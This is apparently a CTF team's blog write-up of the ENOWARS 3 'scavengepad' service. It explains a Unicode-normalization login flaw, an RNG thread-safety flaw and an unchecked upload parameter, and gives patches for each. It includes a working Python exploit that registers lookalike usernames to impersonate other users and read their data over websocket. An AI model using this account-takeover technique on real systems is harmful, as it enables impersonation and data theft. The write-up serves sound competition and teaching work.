ENOWARS 3 - scavengepad

Unicode Normalization leads to bad things


Service home page

scavengepad was a ASP .NET Core 2.2 web service, using Entity Framework Core with PostgreSQL for data storage and a Redis instance for session storage. It allows its users to create shared operations and objectives, collaboratively edit associated markdown documents and upload files.

An operation

1st vuln: RNG thread-safety (saarsec)

Members of the saarsec CTF team have written an excellent writeup of the service and the vulnerability they found – a problem with the random number generator. The random numbers are used to create the unique paths to access the stored markdown documents. Anyone who knows or guesses the path can request and view such a document.

They found that the System.Random class, which is part of the .NET framework, is not safe for concurrent access from multiple threads. In that case calls to methods that return random numbers return 0. Which is quite bad news for the uniqueness of the document paths.

2nd vuln: Unicode Normalization

We, however, discovered a different problem during the game. There was a Unicode Normalization vulnerability which can be exploited at the login of a user.

Here is the LoginController code:

public class LoginController : Controller
    public async Task<IActionResult> Post([FromForm] string username, [FromForm] string password)
        if (await DbUtils.TestLogin(username, password))
            var user = await DbUtils.GetUser(username);
            HttpContext.Session.SetInt32("userid", (int) user.Id);
            return Json(new {
                username = user.Username,
                teamId = user.TeamId
        throw new Exception();

Note that the DbUtils.TestLogin method is called first to see whether there is any user with a matching username/password combination. If so, the DbUtils.GetUser method is used to get the user details, in particular the user id which is attached to the session. The result determines the effective user identity for later requests.

    internal static async Task<bool> TestLogin(string name, string password)
        using (var ctx = new ScavengePadDbContext())
            return await ctx.Users
                .Where(u => u.Username == name.ToByteArray() && u.Password == password.ToByteArray())
                .CountAsync() == 1;

    internal static async Task<User> GetUser(string name)
        using (var ctx = new ScavengePadDbContext())
            return await ctx.Users
                .Where(u => u.Username == name.Normalize().ToByteArray())

Comparing these two methods, there is a striking difference in the string comparison: GetUser calls .Normalize() on the username, while TestLogin does not. By exploiting the different comparison methods, we could get logged in as a different user without having knowledge of their password.

String.Normalize() returns "a new string whose textual value is the same as this string, but whose binary representation is in Unicode normalization form C."

Normalization is required because for many Unicode characters, there are different possible binary representations, which is a problem when such a string is to be compared or sorted. When normalizing, all equivalent characters will be brought into the same binary representation – in this case, into the Normalization Form Canonical Composition (NFC), where "characters are decomposed and then recomposed by canonical equivalence."


To exploit the discovered problem, we need to create a different binary representation of a username that already exists in the database.

Luckily, the service has a UserStatistics endpoint where we can get the usernames of up to 100 recently created users at a time. Also, most of the users the gamebot is creating have an Umlaut in their name, e.g. "VeronikaRädel416344666", "AmandaKlingelhöfer9413798836" or "HüseyinHartmann6723966473".

We can take that name, replace the composed representation of, e.g., the character ä (\u00e4, "latin small letter a with diaeresis") with the decomposed representation of (\u0061\u0308, "latin small letter a" followed by "combining diaeresis"), and register as a new user. TestLogin will let us log in with our own password, but GetUser will return the user id of the original user and allow us to impersonate him or her. Then, we can simply open a websocket connection and get delivered the OperationMessages containing the flags.

Exploit script

import requests
import base64
import sys
import websocket

host = "http://scavengepad.teamX.enowars.com"
replacements = {
    'ö': 'o\u0308',
    'ä': 'a\u0308',
    'ü': 'u\u0308',
password = 'w0y'
authkey = 'w0y'

# fetch latest users
users_api = host + '/api/UserStatistics?take=20&drop=0'
encoded_users = requests.get(users_api).json()

# decode Base64 and .NET internal UTF-16 encoding (because of .ToByteArray)
users = []
for encoded in encoded_users:
    user = ''
    encoded = base64.b64decode(encoded)
    for i in range(0, len(encoded), 2):
        user += encoded[i:i+2].decode('utf-16-le', 'ignore')

# replace characters with their decomposed versions
for user in users:
    if not any(c in user for c in replacements.keys()):
    for old, new in replacements.items():
        user = user.replace(old, new)

    # blindly register new user and log in
    s = requests.Session()
    register = s.post(host + '/api/Registration', data = {
        'username': user,
        'password1': password,
        'authkey': authkey

    login = s.post(host + '/api/Login', data = {
        'username': user,
        'password': password

    cookies = ''
    for name, value in requests.utils.dict_from_cookiejar(s.cookies).items():
        cookies += '{0}={1};'.format(name, value)

    # get OperationMessages JSON via websocket
    ws = websocket.create_connection(host.replace('http://', 'ws://') + '/scavengepadws/',
                                     cookie = cookies)
    messages = ws.recv()


To patch the service against this vuln, either add the Normalize() call to both methods or take it out completely. Recompile and and call it a day. How about a beer? 🍺

3rd vuln: Unverified user input on file upload

A third problem was hidden inside the functionality to upload files – it is never checked whether or not the operationId sent by the user refers to an operation that the user may access. We did not discover this vulnerability until sometime after the game.

When uploading a file using a POST request, three parameters are sent: the contents of the file, the objectiveId and the operationId. While the objectiveId determines to which objective the file is attached to, the operationId serves only to broadcast the OperationMessage update to the associated channel.

    public static async Task InsertFilesForObjective(IEnumerable<IFormFile> files, long uploaderId, long objectiveId, long operationId)
        using (var ctx = new ScavengePadDbContext())
            var objective = [...]
            foreach (var formFile in files)

            await ScavengePadController.DispatchOperationUpdate((await ctx.Users.FindAsync(uploaderId)).TeamId, operationId);
    public static async Task DispatchOperationUpdate(long teamId, long operationId)
        var channel = await GetOrCreateChannel(teamId);
        await channel.DispatchOperationUpdate(operationId);

As can be seen in the above code snippet, there is a channel for every team. The channel object holds a list of connected team users and their open websocket connections.

The Channel is fetched based on the teamId of the uploading user (i.e., the attacker). But when broadcasting the updated OperationMessage, it is never checked whether the given operationId is indeed an operation that belongs to the team of that user:

    public async Task DispatchOperationUpdate(long operationId)
        using (await Lock.LockAsync())
            var operation = await DbUtils.GetOperation(operationId);
            Broadcast(operation.TeamId, new WebSocketServerMessage()
                ModifyOperationMessage = new OperationMessage(operation)

    private void Broadcast(long channelId, WebSocketServerMessage message)
        foreach (var client in Clients)

Note that the first parameter of the Broadcast method, the channel or team ID, is never used inside the method.


In effect, the file uploader can simply send an Operation ID of any team and will get the OperationMessage update with data from that other team pushed via websocket. Flags, baby, flags.


Since the parameters are already prepared for you, it should suffice to add a check for each client inside the Broadcast method: In case the client.User.TeamId does not match the given channelId, do not send the message to that client.


We successfully exploited a Unicode vulnerability in the scavengepad service during the ENOWARS game and found one more unverified-user-input vuln afterwards. Saarsec found and exploited a different vuln, based on the non-thread-safety of the random number generator in the System.Random class. If there really are four of them, that leaves at least one vuln to still be discovered.

Thanks to ENOFLAG for hosting the game, creating all the services and spreading the enlightenment that is IPv6! Or, as we've recently taken to calling it, non-legacy IP.

iCTF 2019

We participated in the iCTF 2019 and finished 2nd.

Last Friday we took part in this year's iCTF. The theme was "Race Condition", and like last year, the competition was open to everyone and hosted racing cars, err, vulnbox VMs were provided in the cloud 🌩️. New this year was a combination of Jeopardy challenges and classic Attack/Defense gameplay, "Jeopardy Defense" so to speak. The Jeopardy challenges were demanding by themselves (TI-83+ assembly, anyone?) and could be used to unlock functionality in the AD...

Read More
Intro Meetup: Attack/Defense

FAUST CTF is coming

Next week, we will participate in FAUST CTF, an online attack-defense CTF. We will meet up at SBA Research and participate together. If you are curious about participating, what CTFs are or what's special about attack-defense CTFs, we are hosting this preparation meetup as part of our weekly CTF/Security meetup series. If you can't make it to the meetup, but still want to participate in the CTF, please contact us. Where: @EI3A, TU Wien (Gußhausstraße 25, 1040...

Read More
Intro Meetup: Reversing

Intro to reversing: disassembly/side channels

Where: @EI3A, TU Wien (Gußhausstraße 25, 1040 Wien, 2nd Floor) When: Thursday, 17.05.2018, 17:30 (CEST) What: Intro to Reverse Engineering, disassembly and software side channel attacks...

Read More
UCSB iCTF 2017 - yacs

Yet another... cat service?!

yacs is a tool to store and later retrieve text snippets. If you store program source code there, it can even compile it for you! So handy. Of course, everything is protected using state-of-the-art user authorization and password hashing. It's a big C++ compiled binary which uses a local SQLite database file for data storage. Here's a normal create/list paste workflow: ___...

Read More